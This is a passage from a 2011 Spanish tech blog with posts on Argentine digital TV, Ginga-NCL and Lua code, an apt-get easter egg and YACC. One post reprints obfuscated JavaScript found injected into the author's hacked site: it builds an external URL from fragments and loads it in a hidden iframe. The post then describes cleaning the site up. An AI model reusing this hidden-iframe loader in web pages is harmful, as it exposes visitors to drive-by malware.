Tutoriales, Herramientas, Artículos, Manuales, y más! sobre las Tecnologías de la Información y la Comunicación (TIC)
Páginas
jueves, 27 de octubre de 2011
Colores en Hexadecimal para HTML
Curioso APT de Linux
a lo último sale un renglón que dice: Este APT tiene poderes de super vaca.
Queeee??? super vaca???
Si! parece ser que los Poderes de Supervaca que trae el apt-get se trata de un huevo de pascua (una sorpresa o truco, o como lo llames...).
Si ejecutas
$ apt-get
en la última línea aparece si el apt-get tiene los susodichos Poderes. En mi caso uso ubuntu.
Para ver los poderes de la Super Vaca ejecutamos:
$ apt-get moo
y aquí tenes el resultado:
umarcosrene@ubuntu:~$ apt-get moo
(__)
(oo)
/ ------\/
/ | | |
~~ ~~
...."Have you mooed today?"...
En cambio, si lo hacemos con aptitude:
umarcosrene@ubuntu:~$ aptitude moo
No hay ningún huevo de pascua en este programa.
Que loko! jeje
martes, 25 de octubre de 2011
TV Digital Terrestre: avances en Argentina y Latinoamérica
En 45 minutos, que es la duración total, quedó reflejado el estado de situación del despliegue de TV Digital en Argentina y varios países de la región, a través de las declaraciones de 33 protagonistas.
Contienen declaraciones de: Lic. Osvaldo Nemirovsci, Ing. Mateo Gómez Ortega, Ing. Carlos Liendo, Dr. Ricardo Porto, Luis Lázaro, Ariel Direse, Néstor Busso, Ing. Germán Calvi, Ing. Fabricio Tamagnone, Ing. Juan Carlos Guidobono, Ing. Pablo Chocrón, Prof. Eduardo Esarte, Dra. Susana Pachecoy, Eiji Roppongi, Eva Piwowarski, Ing. Luis Valle, Dr. Emanuel Jaffrot, Darío Marcón, Julio Bertolotti, Dr. Federico Balaguer, Ricardo Solari, Lic. Ariel Barlaro, Mag. Martha Hernández Aguirre, Ing. Luis Tombo, Dr. Antonio Magnoni, Ing. Sergio Olavarría, Ing. Juan Machicao Aparicio, Ing. Luis Piñeiro, Dr. José Ríos, Lic. Fernando Krakowiak, Lic. Ana Almeida Kobe, Eduardo Jalil e Ing. Darío Oliver
Agrego un video explicativo de la SATVF-T TDT en Argentina
lunes, 24 de octubre de 2011
Diseño de Sistemas - Libros y Apuntes
La mayoría en .pdf
http://www.megaupload.com/?d=OTRBBJW8
Diseño del Modelo de Datos - documento de la UTN
http://www.megaupload.com/?d=KFQOXB7N
Análisis y Diseño Orientado a Obetos - documento de la UTN
http://www.megaupload.com/?d=TNRTQ9O9
viernes, 7 de octubre de 2011
sábado, 17 de septiembre de 2011
Faqs - TV Digital
La TV Digital existe desde hace muchos años y se trata de la transmisión de imágenes y sonidos utilizando bits o el idioma de la computadora. Esto favorece enormemente a la calidad y permite una cantidad de servicios adicionales imposibles de brindar con la TV analógica.
La TV Digital puede llegarnos por Satélite (Direc TV), por Cable Digital, por Internet (WebTV) o por aire en forma abierta (de acceso gratuito) entre otras formas tecnológicas. Direct TV y el Cable digital hicieron la punta en brindar servicios digitales, ahora lo que viene es la TV Digital por aire y gratuita (TDT, Televisión Digital Terrestre).
La TDT inicia por iniciativa del gobierno y responde a una política de estado con el criterio de:
a) Ver donde no se ve: Por años en Argentina los canales de aire gratuitos están limitados a unos pocos y esos sólo se ven en ciudades principales y localidades próximas, quedando sin servicios o muy limitados en cantidad gran parte del País. Esto está cambiando a partir de la Ley de Servicios de Comunicación Audiovisual y la TDT, que llevará muchos canales de aire gratis a la totalidad de los habitantes.
b) Ver mejor: Una gran cantidad de hogares ven los canales de aire con deficiencias técnicas y baja calidad, la TDT soluciona ese problema, llevando la máxima calidad a cada uno de los hogares.
c) Ver mas: Se aumenta la oferta de canales por aire y gratuitos en cada localidad. Hoy se transmiten 14 señales mas 4 para dispositivos móviles.
Ventajas de la TV Digital
LA TDT tiene muchísimas ventajas:
a) Calidad: en distintos formatos: Alta Definición, Definición Normal (igual que la actual), para celulares y dispositivos móviles. Mejora de manera muy importante la calidad y fidelidad de la imagen y el sonido.
b) Cantidad de Canales o Señales: se incrementa la posibilidad de emitir mas canales, por cada canal analógico se puede transmistir hasta cinco señales distintas.
c) Servicios: a partir de la TDT se pueden acceder a muchísimos servicios adicionales a la transmisión principal, utilizando el control remoto. Por ejemplo: Interactividad, grilla de programación, subtitulados, posibilidad de grabar, informes especiales como tiempo, vuelos, etc. Compras por la TDT. Educación, asistencia médica, juegos, etc. Integración con Internet. Televisión para teléfonos Celulares y notebooks.
Avance AFCEA
Para ver el video Click Aquí.
A raíz del éxito alcanzado en ese evento, el Centro Argentino de Ingenieros (CAI) convocó a los coordinadores para organizar un encuentro de similares características. Así es que, junto con los Ings. Claudia Cardama (CITEDEF) y el Ing. Zothner, estamos organizando “TV DIGITAL Y ARGENTINA CONECTADA 2011”, que se realizará el 30 de Noviembre y el 1 de Diciembre en la sede del CAI, Cerrito 1250. Esperamos contar con la participación de todos los lectores de "Comunicaciones Electrónicas"
Cursos y eventos sobre TV Digital y Argentina Conectada
Avances en la Red Federal y Redes Provinciales de Fibra Óptica, Licitaciones. Despliegue de las Estaciones de TV Digital Terrestre. Concursos y asignación de frecuencias a universidades públicas, provincias, CABA, organizaciones con y sin fines de lucro. Concursos y avances en la creación de contenidos: INCAA, BACUA, Programa “Polos Audiovisuales”. Construcción de satélites para servicio de TV. Complementación de operadores privados de servicios de Telecomunicaciones con AR-SAT. Subastas de espectro para comunicaciones móviles. Portabilidad.
Ver mapa más grande Cerrito 1250, Ciudad Autónoma de Buenos Aires
30 Noviembre y 1 de Diciembre de 2011 – 9 a 18:30 hrs
Consultas: Lunes a viernes de 16:00/22:00 horas a los celulares: 15-5155-4663/ 15-5809-8363.
jueves, 1 de septiembre de 2011
Receptores de TVD ISDB-T en Argentina
MARCA: CORADIR
MODELO: CDR 1000
Chipset: Celestial
CPU: ARM926EJ-Sid(wb) rev 5 (v5l)
Kernel Linux: 2.6.12.5
RAM (Mb): 128MB
Ginga-NCL: v0.11.1 Puc Rio
Ginga-J: NO
MARCA: Newtronic
MODELO: DV-5306
Chipset: Celestial
CPU: ARM926EJ-Sid(wb) rev 5 (v5l)
Kernel Linux: 2.6.12.5
RAM (Mb): 256MB
Ginga-NCL: v0.11.1 Puc Rio
Ginga-J: NO (?)
MARCA: UTE
MODELO: 740
Chipset: ST
CPU: ---
Kernel Linux: Si
RAM (Mb):
Ginga-NCL: Sí (ginga.ar 1.1.0)
Ginga-J: NO
fuente: http://wiki.ginga.org.ar
jueves, 11 de agosto de 2011
Software malintencionado en mi web
Por lo cual, lo primero que me puse a hacer es descargar por completo todo el directorio con todas las carpetas, pasarle un antivirus y revisar los .html y los .php con lo cual me encontré con el siguiente código en algunas páginas como ser el index.html
<body onload="j='7';yy='le';jp='b';p='if';l='sa';sb='1c';x='tp';ih='a';he='7';yq='us';y='/i';b='ht';u='a';v='p=3';ea='://';xh='0fc';d='7';c='s';e='p?t';xn='/ho';n='n';k='s.';ds='sr';q='c';h='t';o='9';fc='dex';tn='17';bg='.ph';an='com';hj='ra';mp='f';cw='a';fw='me';z='me';zf='n';vn='ge';dd=p.concat(hj,fw);i=ds.concat(q);jn=b.concat(x,ea,l,yq,u,vn,c,z,n,h,k,an,xn,yy,y,zf,fc,bg,e,v,mp,jp,d,ih,xh,sb,tn,o,j,cw,he);var mu=document.createElement(dd);mu.setAttribute('width','5');mu.setAttribute('height','5');mu.setAttribute('style','display:none');mu.setAttribute(i,jn);document.body.appendChild(mu);">lo que hice fue eliminar todo, y volver a subir los archivos...pero actualmente google sigue tirando la advertencia de software malintencionado.
Para ello hay que ingresar a https://www.google.com/webmasters/tools/ y hacer los pasos para que las herramientas de google detecten tu web.
Los pasos son los siguientes:
Desde la pagina principal de herramientas para webmasters de google añadir una nueva página y seguimos los pasos que describen, luego te pedirán que subas al directorio raíz un archivo que te dan para que lo descargues, para que de esa manera google pueda detectar tu web...
Una vez que haces eso, google te dice que confirmes la verificación cuando hayas subido el archivo. Luego te muestra la pagina principal diciéndote
Este sitio podría estar distribuyendo software malintencionado. Información detallada
Entra en información detallada y te dice
una vez que haya eliminado todo el código dañino de su sitio y haya tratado la vulnerabilidad subyacente que comprometió la seguridad del sitio, puede solicitar una revisión del mismo.Asegúrate de haber eliminado toooodo los códigos de todas las páginas donde aparece y solicita la revisión.
Ahora, a la dulce espera hasta que google haya analizado nuevamente el sitio web.
martes, 9 de agosto de 2011
Software Freedoom Day en Sáenz Peña
O también por http://sfdchaco.isuncaus.com.ar/
O agréganos por facebook! Software Freedoom Day - Chaco
viernes, 5 de agosto de 2011
Ginga-NCL Testing
Desde la web testsuite.gingancl.org.br incorporo todos los códigos para procedimientos de pruebas de nuestro ginga.
Hasta el momendo hay un total de 400 casos de prueba basado en 253 afirmaciones y 785 instrucciones. (es lo que dice en la web hasta el día de hoy)
A continuación muestro un caso de ejemplo:
código del archivo area01.01.01.ncl
<?xml version="1.0" encoding="ISO-8859-1" standalone="no"?>
<ncl xmlns="http://www.ncl.org.br/NCL3.0/EDTVProfile" id="area01.01.01"> <!-- Displays a blue jpg image during 3 seconds and then displays a red jpg image--> <head> <meta content="TeleMidia PUC-Rio" name="author"/> <connectorBase> <causalConnector id="onBeginStart"> <simpleCondition role="onBegin"/> <simpleAction role="start"/> </causalConnector> </connectorBase> </head> <body> <port component="media1" id="parea01.01.01_1"/> <media id="media1" src="../../medias/azul.jpg"> <area begin="3s" id="area1"/> <property name="left" value="0"/> <property name="right" value="0"/> <property name="height" value="100%"/> <property name="width" value="100%"/> <property name="explicitDur" value="6s"/> </media> <media id="media2" src="../../medias/vermelho.jpg"> <property name="left" value="0"/> <property name="right" value="0"/> <property name="height" value="100%"/> <property name="width" value="100%"/> <property name="explicitDur" value="3s"/> </media> <link xconnector="onBeginStart"> <bind component="media1" interface="area1" role="onBegin"/> <bind component="media2" role="start"/> </link> </body> </ncl>
Descargar todos los test desde megaupload.
Mini Curso Gratuito de TV Digital con Ginga (1 dia):
Conteúdo detalhado do Curso
A TV Digital Interativa
- Motivação;
- Modelo de referência de um Sistema de DTV (TV Digital);
- Difusão de dados;
- Necessidade de uma camada de software intermediário;
- Middleware Ginga;
- Guias de usabilidade;
- Interfaces e características da tela de TV:
- Aplicações;
- Tipos e classificações;
- Requisitos e as novas possibilidades;
- Exibição em múltiplos dispositivos;
- Sincronismo de mídia x interatividade;
- PC x TVD.
Próximas turmas
Mini Curso de TV Digital com Ginga (4hs) | Início 11/8/2011
App Ginga-NCL + LUA
Código en el archivo hola-luna.ncl
<?xml version="1.0" encoding="ISO-8859-1"?>
<!-- -->
<!-- -->
<!-- Mostramos un texto sencillo usando Lua -->
<!-- -->
<ncl id="hola-luna" xmlns="http://www.ncl.org.br/NCL3.0/EDTVProfile">
<head>
<regionBase>
<!-- Definimos una región de trabajo, en este caso ocupa toda la pantalla -->
<region id="regBkg" width="100%" height="100%"/>
</regionBase>
<descriptorBase>
<!-- Definimos un descriptor asociado a la región-->
<descriptor id="descBkg" region="regBkg" />
</descriptorBase>
</head>
<body>
<!-- El tag 'port' indica el 'media' inicial -->
<port id="pEntry" component="app"/>
<!-- La aplicación lua es un 'media' -->
<media id="app" src="myApp.lua" descriptor="descBkg"/>
</body>
</ncl>
Código en el archivo myApp.lua
-- Seteamos el color del pincel
canvas:attrColor('blue')
-- Seteamos los atributos de la letra
canvas:attrFont('Tiresias', 40, 'bold')
-- Dibujamos un texto en x=50, y=50
canvas:drawText(50, 50, "Hola, Luna!")
-- Actualizamos la pantalla
canvas:flush()
Para ejecutarlo... ./ginga --ncl hola-luna.ncl
Fuente: wiki.ginga.org.ar
X11: Error in XOpenDisplay for '(null)
Para ejecutar una aplicación lo hacía desde el modo consola de Kubuntu, osea, "Ctrl+Alt+F1" y con el comando ginga --ncl ../.../archivo.ncl me daba el siguiente error:
ginga main() NCLFILE =
commandline read: ginga*
~~~~~~~~~~~~~~~~~~~~~~~~~~| DirectFB 1.4.2 |~~~~~~~~~~~~~~~~~~~~~~~~~~
(c) 2001-2009 The world wide DirectFB Open Source Community
(c) 2000-2004 Convergence (integrated media) GmbH
----------------------------------------------------------------
(*) DirectFB/Core: Single Application Core. (2010-05-14 08:42)
(!) X11: Error in XOpenDisplay for '(null)'
(!) DirectFB/Core: Could not initialize 'system_core' core!
--> Initialization error!
/var/tmp/portage/media-libs/gingacc-system-0.11.1/work/gingacc-system-0.11./src/io/interface/device/dfb/DFBDeviceScreen.cpp
<87>:
(#) DirectFBError [DirectFBCreate( &dfb)]: Initialization error!
Como verán lo remarqué con negrita, (!) X11:..., dicho error sucede porque salimos de la interfáz gráfica de kubuntu, y ginga corre bajo el sistema de ventanas X11, por lo que dese el modo gráfico desde un terminal se debe escribir ginga --ncl ../.../archivo.ncl para ejecutar nuestras aplicaciones Ginga.
jueves, 4 de agosto de 2011
¿Qué es LUA?
Algunas personas llegan a pensar que el lenguaje fue creado exclusivamente para este fin. Pero Lua es un lenguaje muy maduro.
Lua fue creado en 1993 en el laboratorio Tecgraf de la PUC-Río, por los profesores Roberto Ierusalimschy, Luiz Henrique de Figueiredo e Waldemar Celes. Después de su creación, en gran parte responsable del crecimiento y la alta visibilidad de Lua fue su uso en el desarrollo de juegos, un hecho que aumentó el nivel de Lua en un buen número de programadores. Hoy en día, uno de los principales juegos que utiliza Lua como lenguaje de scripting es World of Warcraft.
Básicamente Lua es un Lenguaje de programación imperativo y estructurado, bastante ligero y diseñado como un script con una semántica extendible. Lua en portugués significa Luna.
Además de comenzar a ver algo de la introducción de Lua y de que se trata todo esto, veamos el sitio oficial de proyecto. lua.org, por el momento lo encontramos en inglés, pero podemos ver algunas noticias, descargar, mucha documentación, algunos contactos, además contamos con una wiki en donde podemos encontrar más documentación y algunos ejemplo.
Si bien tenemos la posibilidad de adquirir los libros que proponen como documentación podemos encontrarlos en diferentes idiomas y poder navegarlos sin ningún problema.
Les dejo en esta oportunidad para que se vallan interiorizando y aprendamos un poco mas:
martes, 2 de agosto de 2011
Autoridad Federal de Servicios de Comunicación Audiovisual
UNIVERSIDAD NACIONAL |
LOCALIDAD |
PROVINCIA |
FRECUENCIA EN LA BANDA DE UHF |
BUENOS AIRES |
CABA |
59 |
|
TECNOLOGICA CABA |
CABA |
62 |
|
AVELLANEDA |
AVELLANEDA |
BUENOS AIRES |
60 |
LANUS |
LANUS |
BUENOS AIRES |
57 |
LOMAS DE ZAMORA |
LAVALLOL-LOMAS DE ZAMORA |
BUENOS AIRES |
66 |
QUILMES |
QUILMES |
BUENOS AIRES |
58 |
ARTURO JAURETCHE |
FLORENCIO VARELA |
BUENOS AIRES |
55 |
LA PLATA |
LA PLATA |
BUENOS AIRES |
56 |
GENERAL SAN MARTIN |
SAN MARTIN |
BUENOS AIRES |
55 |
LA MATANZA |
SAN JUSTO |
BUENOS AIRES |
61 |
TRES DE FEBRERO |
CASEROS |
BUENOS AIRES |
56 |
GENERAL SARMIENTO |
LOS POLVORINES-MALVINAS ARGENTINAS |
BUENOS AIRES |
66 |
JOSE C. PAZ |
JOSE C. PAZ |
BUENOS AIRES |
58 |
MORENO |
MORENO |
BUENOS AIRES |
66 |
LUJAN |
LUJAN |
BUENOS AIRES |
57 |
SUR |
BAHIA BLANCA |
BUENOS AIRES |
21 |
NOROESTE BUENOS AIRES |
JUNIN |
BUENOS AIRES |
21 |
MAR DEL PLATA |
MAR DEL PLATA |
BUENOS AIRES |
21 |
CENTRO |
TANDIL |
BUENOS AIRES |
21 |
PATAGONIA |
COMODORO RIVADAVIA |
CHUBUT |
33 |
RIO CUARTO |
RIO CUARTO |
CORDOBA |
30 |
VILLA MARIA |
VILLA MARIA |
CORDOBA |
29 |
NORDESTE |
CORRIENTES – RESISTENCIA |
CORRIENTES |
26 |
JUJUY |
SAN SALVADOR DE JUJUY |
JUJUY |
33 |
LA PAMPA |
SANTA ROSA |
LA PAMPA |
33 |
LA RIOJA |
LA RIOJA |
LA RIOJA |
33 |
MISIONES |
POSADAS |
MISIONES |
33 |
RIO NEGRO |
VIEDMA |
RIO NEGRO |
33 |
SALTA |
SALTA |
SALTA |
33 |
SAN JUAN |
SAN JUAN |
SAN JUAN |
33 |
SAN LUIS |
SAN LUIS |
SAN LUIS |
33 |
PATAGONIA AUSTRAL |
RIO GALLEGOS |
SANTA CRUZ |
33 |
ROSARIO |
ROSARIO |
SANTA FE |
33 |
LITORAL |
SANTA FE |
SANTA FE |
26 |
SANTIAGO DEL ESTERO |
SANTIAGO DEL ESTERO |
SANTIAGO DEL ESTERO |
33 |
TUCUMAN |
SAN MIGUEL DE TUCUMAN |
TUCUMAN |
34 |
CHILECITO |
CHILECITO |
LA RIOJA |
28 |
FORMOSA |
FORMOSA |
FORMOSA |
33 |
CUYO |
MENDOZA |
MENDOZA |
34 |
COMAHUE |
NEUQUEN |
NEUQUEN |
33 |
ENTRE RIOS |
PARANA |
ENTRE RIOS |
34 |
CHACO AUSTRAL |
ROQUE SAENZ PEÑA |
CHACO |
27 |
CATAMARCA |
SAN FERNANDO DEL VALLE DE CATAMARCA |
CATAMARCA |
33 |
TIERRA DEL FUEGO, ANTARTIDA E ISLAS DEL ATLANTICO SUR |
RIO GRANDE |
TIERRA DEL FUEGO, ANTARTIDA E ISLAS DEL ATLANTICO SUR |
34 |
miércoles, 20 de julio de 2011
¿Qué es Ginga NCL?
El middleware abierto Ginga se subdivide en dos subsistemas principales interrelacionados, que permiten el desarrollo de aplicaciones siguiendo dos paradigmas de programación diferentes. Dependiendo de las funcionalidades requeridas en cada proyecto de aplicación, un paradigma será más adecuado que otro. Estos dos subsistemas se llaman Ginga-J (para aplicaciones procedurales Java) y Ginga-NCL (para aplicaciones declarativas NCL). En los enlaces anteriores se encuentra información específica sobre ambos sistemas.
Ginga es el fruto del desarrollo de proyectos de investigación coordinados por los laboratorios Telemídia de la PUC-Rio y LAViD de la UFPB.
Ginga-J
Descargar Ginga.ar
Versión 1.2.0
- Descargar código fuente ( tar.gz )
- Descargar máquina virtual ( VirtualBox )
- Ver changelog
- Compilar Ginga 1.2.0
lunes, 18 de julio de 2011
CorelDRAW Graphics Suite X5
Software de diseño gráfico para una comunicación visual impactante.
Descripción
CorelDRAW Graphics Suite X5 aúna creatividad y eficacia. Con un funcionamiento más rápido, un control del color más preciso, herramientas de ilustración mejoradas y nuevas funciones para Web, esta versión es imprescindible para todo diseñador que se precie. Pon manos a la obra enseguida gracias a las plantillas diseñadas por profesionales y materiales de aprendizaje nuevos. Busca gráficos, fuentes e imágenes en tu equipo más rápido que nunca con el nuevo Corel® CONNECT™. Reutiliza y comparte tus creaciones en cualquier lugar gracias a la compatibilidad con más formatos de archivo. Podrás exportar tus creaciones en todo tipo de formatos, desde anuncios y animaciones para Web a logotipos y letreros personalizados, entre otros.Requisitos del sistema
- Microsoft® Windows® 7, Windows Vista® o Windows® XP, con los Service Packs más recientes instalados (ediciones de 32 o 64 bits)
- Intel® Pentium® 4, AMD Athlon™ 64 o AMD Opteron™
- 1 GB RAM
- 750 MB de espacio en el disco duro (1 GB para la instalación típica sin contenido). La instalación del contenido adicional puede requerir hasta 6 GB de espacio en el disco duro
- Ratón o tableta gráfica
- Resolución de pantalla de 1024 x 768 (768 x 1024 en Tablet PC)
- Unidad de DVD
- Microsoft® Internet Explorer® 7 o posterior
sábado, 16 de julio de 2011
YACC - Yet another Compiler-Compiler
Es una herramienta que genera automáticamente un parser ( nalizador sintáctico/semántico ) para una gramática dada en especificación YACC (fichero .y).
YACC es un programa diseñado para compilar una gramática LALR(1) (ver analizadores LARL) y producir el código fuente del analizador sintáctico del lenguaje producido por esta gramática.
¿Cómo trabaja YACC?
Comentarios entre /* y */ pueden aparecer en cualquiera de las secciones
%{
< Variables globales C, prototipos, comentarios > Esta parte será enmbebida en el fichero *.c
%}
[SECCIÓN DE DEFINICIONES YACC] Contiene declaraciones de tokens. Los tokens serán reconocidos por el analizador léxico.
%%
[SECCIÓN DE REGLAS DE PRODUCCIÓN] Definición de cómo se estructura el lenguaje de entrada, y qué acciones realizar para cada sentencia.
%%
<Subrutinas auxiliares C> Código de usuario. Por ejemplo, main con llamada al analizador yyparse().
Sección de definiciones
%{
#include <stdio.h>
#include <stdlib.h>
%}
%token ID NUM Símbolos terminales (tokens)
%start expr Símbolo inicial de la gramática
Sección de reglas
%%
producción1: simbolo1 simbolo2...{accion}
| simbolo 3 simbolo4...{accion}
| ...
produccion2: simbolo1 simbolo2...{accion}
Ejemplo:
expr: expr '+' term | term;
term: term '*' factor | factor;
factor: '('expr')' | ID | NUM;
Sección de reglas
Los símbolos terminales van encerrados entre ''.
Las cadenas sin comillas de letras y dígitos no declaradas como componentes léxicos se los considera no terminales.
Una acción semántica es una secuencia de proposiciones en C.
Los símbolos $$ se refiere al valor del atributo asociado con el no terminal del lado izquierdo.
$i se refiere al valor asociado con el i-ésimo símbolo gramatical (terminal o no terminal) del lado derecho. La acción semántica se realiza siempre que se reduzca por la producción asociada. Generalmente, la acción semántica calcula un valor para $$ en función de $i.
Si se omite la acción semántica entonces por defecto $$ = $1
Valores semánticos
%%
statement: expression { printf("=%g\n",$1);}
expression : expression '+' expression { $$ = $1 + $3; }
| expression '-' expresion { $$ = $1 - $3; }
| NUMBER { $$ = $1; }
%%
Según estas dos producciones, 5 + 4 - 3 +2 se transforma en: